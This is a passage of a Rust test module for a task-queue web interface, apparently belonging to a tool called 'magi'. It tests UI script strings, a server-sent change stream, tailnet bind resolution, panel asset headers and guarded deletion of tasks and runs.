13020 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13021 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13022
13023 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13027 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13028 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13029 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13030
13031 assert!(APP_JS.contains("sandbox: \"\""));
13033 assert!(!APP_JS.contains("sandbox: \"allow"));
13034 }
13035
13036 #[test]
13037 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13038 assert!(
13047 APP_JS.contains(
13048 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13049 ),
13050 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13051 recursive renderQueue() call has nothing left to jump to"
13052 );
13053 assert!(
13054 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13055 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13056 arrives later still gets it"
13057 );
13058 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13059 assert!(APP_JS.contains("is not in the current Backlog."));
13060 assert!(APP_JS.contains("li.card[data-task-id=\""));
13061 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13062 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13063 assert!(APP_CSS.contains(".card-permalink"));
13064 assert!(APP_CSS.contains(".queue-focus-status"));
13065 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
13066 }
13067
13068 #[test]
13069 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13070 assert!(
13078 APP_JS.contains(
13079 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13080 ),
13081 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13082 );
13083 }
13084
13085 #[test]
13086 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13087 assert!(
13088 APP_JS.contains("round.verified_head !== round.head"),
13089 "a round that verified an earlier commit must be visibly distinct from one that \
13090 verified the head reviewers are looking at now"
13091 );
13092 assert!(
13093 APP_JS.contains("round.verified_at"),
13094 "when a check ran must be on the wire, not just which commit"
13095 );
13096 assert!(
13097 APP_JS.contains("resource_blocked"),
13098 "a command magi never got to run (shared build cache contention) must not render \
13099 the same as a command that ran and failed"
13100 );
13101 }
13102
13103 #[test]
13104 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13105 assert!(
13113 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13114 "every KPI tile built through statusTile() must route its click through \
13115 openRunsFiltered, the single place that sets the Runs filter"
13116 );
13117 for (label, status) in [
13118 ("Merged", "merged"),
13119 ("Ready", "ready"),
13120 ("Blocked", "blocked"),
13121 ("Stalled", "stalled"),
13122 ] {
13123 let call = format!("statusTile(\"{label}\", t.{status}, ");
13124 assert!(
13125 APP_JS.contains(&call),
13126 "expected the {label} KPI tile built via {call}..."
13127 );
13128 assert!(
13129 APP_JS.contains(&format!("status === \"{status}\"")),
13130 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13131 compare a run against, not one invented only for the stats tile"
13132 );
13133 }
13134 assert!(
13135 APP_JS.contains("function openRunsFiltered(status)"),
13136 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13137 );
13138 assert!(
13139 APP_JS.contains(
13140 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13141 ),
13142 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13143 );
13144 assert!(
13152 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13153 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13154 hashchange event that may never fire"
13155 );
13156 }
13157
13158 #[test]
13159 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13160 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13166 assert!(
13167 APP_JS.contains(
13168 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13169 ),
13170 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13171 guard for an incompatible tree section"
13172 );
13173 }
13174
13175 #[test]
13176 fn every_stats_queue_tile_names_a_real_queue_section() {
13177 assert!(
13183 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13184 "every queue tile built through sectionTile() must route its click through \
13185 openQueueSectionFocus"
13186 );
13187 for key in ["upnext", "running", "done", "held", "blocked"] {
13188 assert!(
13189 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13190 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13191 );
13192 }
13193 for line in [
13197 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13198 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13199 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13200 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13201 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13202 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13203 ] {
13204 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13205 }
13206 }
13207
13208 #[test]
13209 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13210 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13217 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13218 assert!(APP_JS.contains("function revealQueueSection(details)"));
13219 assert!(
13220 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13221 "renderQueue() must consume both focus channels on every pass"
13222 );
13223 assert!(
13224 APP_JS.contains(
13225 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13226 ),
13227 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13228 the recursive renderQueue() call has nothing left to reveal"
13229 );
13230 assert!(
13231 APP_JS.contains(
13232 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13233 ),
13234 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13235 );
13236 assert!(
13244 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13245 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13246 hashchange event that may never fire"
13247 );
13248 }
13249
13250 #[tokio::test]
13251 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13252 let f = Fixture::start().await;
13253
13254 let mut socket = tokio::net::TcpStream::connect(f.addr)
13255 .await
13256 .expect("connect");
13257 socket
13258 .write_all(
13259 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13260 )
13261 .await
13262 .expect("write request");
13263
13264 let mut seen = String::new();
13267 let mut buf = [0u8; 1024];
13268 while !seen.contains("event: change") {
13269 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13270 .await
13271 .expect("the stream must speak within five seconds")
13272 .expect("read");
13273 assert!(read > 0, "the server closed the change stream: {seen}");
13274 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13275 }
13276
13277 assert!(
13278 seen.to_lowercase()
13279 .contains("content-type: text/event-stream"),
13280 "the browser only reconnects automatically for a real SSE stream: {seen}"
13281 );
13282 let data = seen
13283 .lines()
13284 .find_map(|l| l.strip_prefix("data:"))
13285 .expect("a data line");
13286 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13287 assert!(
13288 payload["queue_rev"].is_u64()
13289 && payload["runs_rev"].is_u64()
13290 && payload["questions_rev"].is_u64()
13291 && payload["talks_rev"].is_u64()
13292 && payload["notifications_rev"].is_u64()
13293 && payload["loop_rev"].is_u64(),
13294 "the client needs one revision per store to know what to refetch, \
13295 and `talks_rev` is the only notification a standing talk gets - a \
13296 phone whose radio slept through a turn learns about it here, as \
13297 does one whose operator started the loop from another device: \
13298 {payload}"
13299 );
13300
13301 let health = f.get("/api/health").await.json();
13308 for key in [
13309 "queue_rev",
13310 "runs_rev",
13311 "questions_rev",
13312 "talks_rev",
13313 "notifications_rev",
13314 "loop_rev",
13315 ] {
13316 assert!(
13317 health[key].is_u64(),
13318 "health is the change stream's fallback and is missing `{key}`: {health}"
13319 );
13320 }
13321 }
13322
13323 #[tokio::test]
13324 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13325 let f = Fixture::start().await;
13326 let before = f.get("/api/health").await.json()["talks_rev"]
13327 .as_u64()
13328 .expect("talks_rev");
13329
13330 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13331 std::thread::sleep(Duration::from_millis(10));
13332 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13333 on_disk.turns.push(crate::talk::Turn {
13334 who: crate::talk::Who::Operator,
13335 body: "a new turn".to_owned(),
13336 at: Timestamp::now(),
13337 attachments: Vec::new(),
13338 usage: None,
13339 });
13340 f.talks().put(&mut on_disk).expect("record a turn");
13341
13342 let after = f.get("/api/health").await.json()["talks_rev"]
13343 .as_u64()
13344 .expect("talks_rev");
13345 assert_ne!(
13346 before, after,
13347 "a phone must be able to notice a talk's reply without polling every store"
13348 );
13349 }
13350
13351 #[test]
13352 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13353 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13357 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13358 }
13359 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13360 assert!("everywhere".parse::<Bind>().is_err());
13361 }
13362
13363 #[test]
13364 fn an_explicit_bind_address_is_taken_verbatim() {
13365 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13366
13367 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13368
13369 assert_eq!(addr, asked);
13370 assert!(
13371 warning.is_none(),
13372 "an operator who named an address gets no lecture"
13373 );
13374 }
13375
13376 #[test]
13377 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13378 let (addr, warning) = resolve_bind(&Bind::Auto);
13379
13380 match addr {
13387 IpAddr::V4(ip) if is_tailnet(&ip) => {
13388 assert!(warning.is_none(), "a tailnet address needs no warning");
13389 }
13390 other => {
13391 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13392 let warning = warning.expect("a fallback has to explain itself");
13393 assert!(
13394 warning.contains("127.0.0.1") && warning.contains("local-only"),
13395 "the warning says what happened and what it costs: {warning}"
13396 );
13397 }
13398 }
13399 }
13400
13401 #[test]
13402 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13403 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13407 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13408 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13409 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13410 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13411 }
13412
13413 #[test]
13414 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13415 let ids = vec![
13416 "20260902-140501-aaaa".to_owned(),
13417 "20260902-140502-aabb".to_owned(),
13418 ];
13419
13420 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13421 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13422 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13423
13424 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13425 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13426 assert_eq!(short, "20260902-140502-aabb");
13427 }
13428 #[tokio::test]
13429 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13430 let fx = Fixture::start().await;
13436 let id = panel(
13437 &fx,
13438 "<img src=\"shot.png\">",
13439 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13440 );
13441
13442 let doc = fx
13444 .get(&format!("/api/questions/{id}/panel/index.html"))
13445 .await;
13446 assert_eq!(doc.status, 200, "{}", doc.body);
13447 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13448
13449 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13450 assert_eq!(sibling.status, 200, "{}", sibling.body);
13451 assert_eq!(sibling.header("content-type"), Some("image/png"));
13452 assert_eq!(
13453 sibling.header("content-security-policy"),
13454 Some(PANEL_CSP),
13455 "the sibling route must carry the same policy as the asset route"
13456 );
13457
13458 assert_eq!(
13461 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13462 200
13463 );
13464 }
13465
13466 #[test]
13467 fn delta_stamps_cover_add_update_remove_and_noop() {
13468 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13469 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13470 let delta = diff_stamps(&before, &after, 42);
13471 assert_eq!(delta.base, 42);
13472 assert_eq!(delta.changed, ["b", "c"]);
13473 assert_eq!(delta.removed, ["a"]);
13474 let same = diff_stamps(&after, &after, 43);
13475 assert!(same.changed.is_empty() && same.removed.is_empty());
13476 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13477 let nanos: Stamps = [("b".into(), (2, 20))].into();
13478 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13479 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13480 assert_eq!(stamps_revision(&Stamps::new()), 0);
13481 }
13482
13483 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13484 std::fs::create_dir_all(home.join("runs")).unwrap();
13485 Arc::new(Ui::new(
13486 Queue::at(home.join("queue")),
13487 Questions::at(home.join("questions")),
13488 Talks::at(home.join("talks")),
13489 home.join("runs"),
13490 home.to_owned(),
13491 PathBuf::from("/repo/magi"),
13492 ))
13493 }
13494
13495 #[tokio::test]
13496 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13497 let home = TempDir::new().unwrap();
13498 let ui = delta_test_ui(home.path());
13499 let mut task = Task::new(
13500 "stream task".into(),
13501 "text".into(),
13502 PathBuf::from("/repo"),
13503 Source::Human,
13504 );
13505 ui.queue.put(&mut task).unwrap();
13506 let response = events(State(ui.clone())).await.into_response();
13507 let mut stream = response.into_body().into_data_stream();
13508 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13509 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13510 .await
13511 .unwrap()
13512 .unwrap()
13513 .unwrap();
13514 let text = String::from_utf8(chunk.to_vec()).unwrap();
13515 let data = text
13516 .lines()
13517 .find_map(|line| {
13518 line.strip_prefix("data: ")
13519 .or_else(|| line.strip_prefix("data:"))
13520 })
13521 .unwrap();
13522 serde_json::from_str(data).unwrap()
13523 }
13524 let initial = change(&mut stream).await;
13525 assert!(initial.get("queue_delta").is_none());
13526 task.instruction.push_str(" changed");
13527 ui.queue.put(&mut task).unwrap();
13528 let updated = change(&mut stream).await;
13529 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13530 assert_eq!(
13531 updated["queue_delta"]["changed"],
13532 serde_json::json!([task.id])
13533 );
13534 assert_eq!(
13535 updated["queue_rev"].as_u64(),
13536 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13537 );
13538 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13539 let removed = change(&mut stream).await;
13540 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13541 assert_eq!(
13542 removed["queue_delta"]["removed"],
13543 serde_json::json!([task.id])
13544 );
13545 }
13546
13547 #[tokio::test]
13548 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13549 let home = TempDir::new().unwrap();
13550 let ui = delta_test_ui(home.path());
13551 let queue = ui.queue.clone();
13552 let query = |ids: Option<&str>| {
13553 Query(ListQuery {
13554 limit: Some(2),
13555 ids: ids.map(str::to_owned),
13556 })
13557 };
13558 let mut root = Task::new(
13559 "root".into(),
13560 "instruction".into(),
13561 PathBuf::from("/repo"),
13562 Source::Human,
13563 );
13564 queue.put(&mut root).unwrap();
13565 let mut blocked = Task::new(
13566 "blocked".into(),
13567 "instruction".into(),
13568 PathBuf::from("/repo"),
13569 Source::Human,
13570 );
13571 blocked.block(vec![root.id.clone()], None);
13572 queue.put(&mut blocked).unwrap();
13573 let whole =
13574 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13575 .unwrap();
13576 let subset = serde_json::to_value(
13577 queue_list(State(ui.clone()), query(Some(&root.id)))
13578 .await
13579 .unwrap()
13580 .0,
13581 )
13582 .unwrap();
13583 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13584 let blockers = serde_json::to_value(
13585 queue_list(State(ui.clone()), query(Some("")))
13586 .await
13587 .unwrap()
13588 .0,
13589 )
13590 .unwrap();
13591 assert_eq!(blockers.as_array().unwrap().len(), 1);
13592 assert_eq!(blockers[0]["id"], blocked.id);
13593 assert_eq!(
13594 blockers[0]["waits_on"],
13595 whole
13596 .as_array()
13597 .unwrap()
13598 .iter()
13599 .find(|row| row["id"] == blocked.id)
13600 .unwrap()["waits_on"]
13601 );
13602
13603 for id in [
13604 "20260902-140501-aaaa",
13605 "20260902-140502-bbbb",
13606 "20260902-140503-cccc",
13607 ] {
13608 write_run(&ui.runs, id, RunStatus::Merged);
13609 }
13610 let old = serde_json::to_value(
13611 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13612 .await
13613 .unwrap()
13614 .0,
13615 )
13616 .unwrap();
13617 assert!(
13618 old.as_array().unwrap().is_empty(),
13619 "older updates must not enter the window"
13620 );
13621 let newest = serde_json::to_value(
13622 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13623 .await
13624 .unwrap()
13625 .0,
13626 )
13627 .unwrap();
13628 assert_eq!(newest.as_array().unwrap().len(), 1);
13629 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13630
13631 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13632 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13633 let talks = serde_json::to_value(
13634 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13635 .await
13636 .unwrap()
13637 .0,
13638 )
13639 .unwrap();
13640 assert_eq!(talks.as_array().unwrap().len(), 1);
13641 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13642 assert_eq!(
13643 serde_json::to_value(
13644 talks_list(State(ui.clone()), query(Some("")))
13645 .await
13646 .unwrap()
13647 .0
13648 )
13649 .unwrap(),
13650 serde_json::json!([])
13651 );
13652 }
13653
13654 #[tokio::test]
13655 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13656 async fn delta_payload_benchmark() {
13657 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13658 let ui = delta_test_ui(&home);
13659 let query = |ids: Option<String>| {
13660 Query(ListQuery {
13661 limit: Some(50),
13662 ids,
13663 })
13664 };
13665 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13666 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13667 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13668 let queue_id = queue
13669 .iter()
13670 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13671 .unwrap_or(&queue[0])
13672 .task
13673 .id
13674 .clone();
13675 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13676 .await
13677 .unwrap()
13678 .0;
13679 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13680 .await
13681 .unwrap()
13682 .0;
13683 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13684 .await
13685 .unwrap()
13686 .0;
13687 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13688 eprintln!(
13689 "DELTA_PAYLOAD {}",
13690 serde_json::json!({
13691 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13692 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13693 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13694 "counts": [queue.len(), runs.len(), talks.len()],
13695 "blocked": queue_delta.len() - 1,
13696 })
13697 );
13698 }
13699
13700 #[test]
13701 fn runs_revision_moves_when_deleting_an_older_run() {
13702 let temp = TempDir::new().expect("tempdir");
13703 let runs = temp.path().join("runs");
13704 std::fs::create_dir_all(&runs).expect("create runs dir");
13705
13706 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13707
13708 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13709 std::thread::sleep(Duration::from_millis(10));
13710 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13711
13712 let rev_before = runs_revision(&runs);
13713 assert!(rev_before > 0);
13714
13715 let old_dir = runs.join("20260901-100000-old1");
13716 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13717
13718 let rev_after = runs_revision(&runs);
13719 assert_ne!(
13720 rev_before, rev_after,
13721 "deleting an older run must change the revision so other clients see the deletion"
13722 );
13723 }
13724
13725 fn write_state(runs: &FsPath, state: &RunState) {
13730 let dir = runs.join(&state.id);
13731 std::fs::create_dir_all(&dir).expect("run dir");
13732 std::fs::write(
13733 dir.join("run.json"),
13734 serde_json::to_string_pretty(state).expect("serialize run"),
13735 )
13736 .expect("write run.json");
13737 }
13738
13739 #[test]
13744 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13745 let temp = TempDir::new().expect("tempdir");
13746 let runs = temp.path().join("runs");
13747 std::fs::create_dir_all(&runs).expect("create runs dir");
13748 let mut state = RunState::new(
13749 PathBuf::from("/repo/magi"),
13750 "main".to_owned(),
13751 "0123456789abcdef".to_owned(),
13752 "task".to_owned(),
13753 Config::default(),
13754 );
13755 state.id = "20260902-100000-c0de".to_owned();
13756 write_state(&runs, &state);
13757
13758 let rev_idle = runs_revision(&runs);
13759 std::thread::sleep(Duration::from_millis(10));
13760 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13761 write_state(&runs, &state);
13762 let rev_started = runs_revision(&runs);
13763 assert_ne!(
13764 rev_idle, rev_started,
13765 "a seat starting must move the revision"
13766 );
13767
13768 std::thread::sleep(Duration::from_millis(10));
13769 state.seat_finished("judge-1");
13770 write_state(&runs, &state);
13771 let rev_finished = runs_revision(&runs);
13772 assert_ne!(
13773 rev_started, rev_finished,
13774 "and clearing it again must move the revision a second time"
13775 );
13776 }
13777
13778 #[tokio::test]
13779 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13780 let fx = Fixture::start().await;
13785 let q = fx.queue();
13786
13787 let mut t = Task::new(
13788 "Task".to_owned(),
13789 "Instruction".to_owned(),
13790 PathBuf::from("/repo"),
13791 Source::Human,
13792 );
13793 t.block(
13794 vec!["20260101-000000-dead".to_owned()],
13795 Some("waiting on Task 1".to_owned()),
13796 );
13797 t.answers.push(crate::queue::AnsweredQuestion {
13798 question: "Which backend?".to_owned(),
13799 answer: "SQLite".to_owned(),
13800 });
13801 q.put(&mut t).expect("put t");
13802
13803 let res = fx.get("/api/queue").await;
13804 assert_eq!(res.status, 200);
13805 let list = res.json();
13806 let view = list
13807 .as_array()
13808 .expect("array")
13809 .iter()
13810 .find(|v| v["id"] == t.id)
13811 .expect("task in list");
13812 assert_eq!(view["status_str"], "blocked");
13813 assert_eq!(
13814 view["blocked_by"],
13815 serde_json::json!(["20260101-000000-dead"])
13816 );
13817 assert_eq!(view["block_reason"], "waiting on Task 1");
13818 assert_eq!(view["answers"][0]["question"], "Which backend?");
13819 assert_eq!(view["answers"][0]["answer"], "SQLite");
13820
13821 let res = fx
13825 .post(&format!("/api/queue/{}/hold", t.short()), None)
13826 .await;
13827 assert_eq!(res.status, 200);
13828 let held = res.json();
13829 assert_eq!(held["status_str"], "held");
13830 assert_eq!(held["blocked_by"], serde_json::json!([]));
13831 assert!(held["block_reason"].is_null());
13832 assert_eq!(held["answers"][0]["answer"], "SQLite");
13833 }
13834
13835 #[tokio::test]
13836 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13837 let fx = Fixture::start().await;
13838 let q = fx.queue();
13839 let mk = |title: &str| {
13840 Task::new(
13841 title.to_owned(),
13842 "Instruction".to_owned(),
13843 PathBuf::from("/repo"),
13844 Source::Human,
13845 )
13846 };
13847 let mut root = mk("root");
13848 root.hold_manual(Some("waiting".to_owned()));
13849 q.put(&mut root).unwrap();
13850 let mut mid = mk("mid");
13851 mid.block(vec![root.id.clone()], None);
13852 q.put(&mut mid).unwrap();
13853 let mut leaf = mk("leaf");
13854 leaf.block(vec![mid.id.clone()], None);
13855 q.put(&mut leaf).unwrap();
13856
13857 let list = fx.get("/api/queue").await.json();
13858 let find = |id: &str| {
13859 list.as_array()
13860 .unwrap()
13861 .iter()
13862 .find(|v| v["id"] == id)
13863 .unwrap()
13864 .clone()
13865 };
13866 let leaf_view = find(&leaf.id);
13867 assert_eq!(
13868 leaf_view["waits_on"],
13869 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13870 );
13871 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13872 assert_eq!(
13873 find(&mid.id)["waits_on"],
13874 serde_json::json!([format!("{} (held)", root.short())])
13875 );
13876 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13877 }
13878
13879 #[tokio::test]
13880 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13881 let fx = Fixture::start().await;
13882 let q = fx.queue();
13883
13884 let mut t1 = Task::new(
13886 "Task 1".to_owned(),
13887 "Instruction 1".to_owned(),
13888 PathBuf::from("/repo"),
13889 Source::Human,
13890 );
13891 let run_id = "20260901-000000-r111";
13892 t1.runs.push(run_id.to_owned());
13893 write_run(&fx.runs(), run_id, RunStatus::Merged);
13894 q.put(&mut t1).expect("put t1");
13895
13896 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13898 assert_eq!(res.status, 204);
13899 assert!(res.body.is_empty(), "204 No Content has no body");
13900 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13901 assert!(
13902 fx.runs().join(run_id).exists(),
13903 "run directory must not be deleted when its task is deleted"
13904 );
13905
13906 let mut t2 = Task::new(
13908 "Task 2".to_owned(),
13909 "Instruction 2".to_owned(),
13910 PathBuf::from("/repo"),
13911 Source::Human,
13912 );
13913 t2.status = TaskStatus::Running;
13914 q.put(&mut t2).expect("put t2");
13915 let mut beat = crate::daemon::Status::new();
13916 beat.current = vec![crate::daemon::Current {
13917 task: t2.id.clone(),
13918 run: "20260901-000000-r222".to_owned(),
13919 }];
13920 beat.updated_at = jiff::Timestamp::now();
13921 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13922 .expect("publish a heartbeat");
13923 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13924 assert_eq!(res.status, 409);
13925 assert!(
13926 res.json()["error"]
13927 .as_str()
13928 .unwrap()
13929 .contains("live daemon")
13930 );
13931 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13932
13933 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13939 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13940 .expect("leave a stale heartbeat");
13941 let mut t3 = Task::new(
13942 "Task 3".to_owned(),
13943 "Instruction 3".to_owned(),
13944 PathBuf::from("/repo"),
13945 Source::Human,
13946 );
13947 t3.status = TaskStatus::Running;
13948 q.put(&mut t3).expect("put t3");
13949 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13950 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13951 assert_eq!(res.status, 204);
13952 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13953 assert!(
13954 q.claim(&t3.id).is_ok(),
13955 "the stale lock went with it, so the id is claimable again"
13956 );
13957
13958 let res = fx.delete("/api/queue/nonexistent").await;
13960 assert_eq!(res.status, 404);
13961 }
13962
13963 #[tokio::test]
13964 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13965 let fx = Fixture::start().await;
13966 let runs = fx.runs();
13967
13968 let run_id = "20260901-000000-fold";
13970 let mut state = RunState::new(
13971 PathBuf::from("/repo"),
13972 "main".to_owned(),
13973 "abc".to_owned(),
13974 "instruction".to_owned(),
13975 Config::default(),
13976 );
13977 state.id = run_id.to_owned();
13978 state.status = RunStatus::Merged;
13979 state.candidates.push(crate::run::Candidate {
13980 index: 0,
13981 label: 'A',
13982 agent: "a".to_owned(),
13983 branch: "b".to_owned(),
13984 worktree: PathBuf::from("/w"),
13985 summary: String::new(),
13986 stat: String::new(),
13987 files: 1,
13988 commits: 1,
13989 empty: false,
13990 failed: None,
13991 verified_noop: None,
13992 duration_ms: 0,
13993 folded: true,
13994 });
13995 let dir = runs.join(run_id);
13996 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13997 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13998 .expect("write artifact");
13999 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14000 .expect("write run.json");
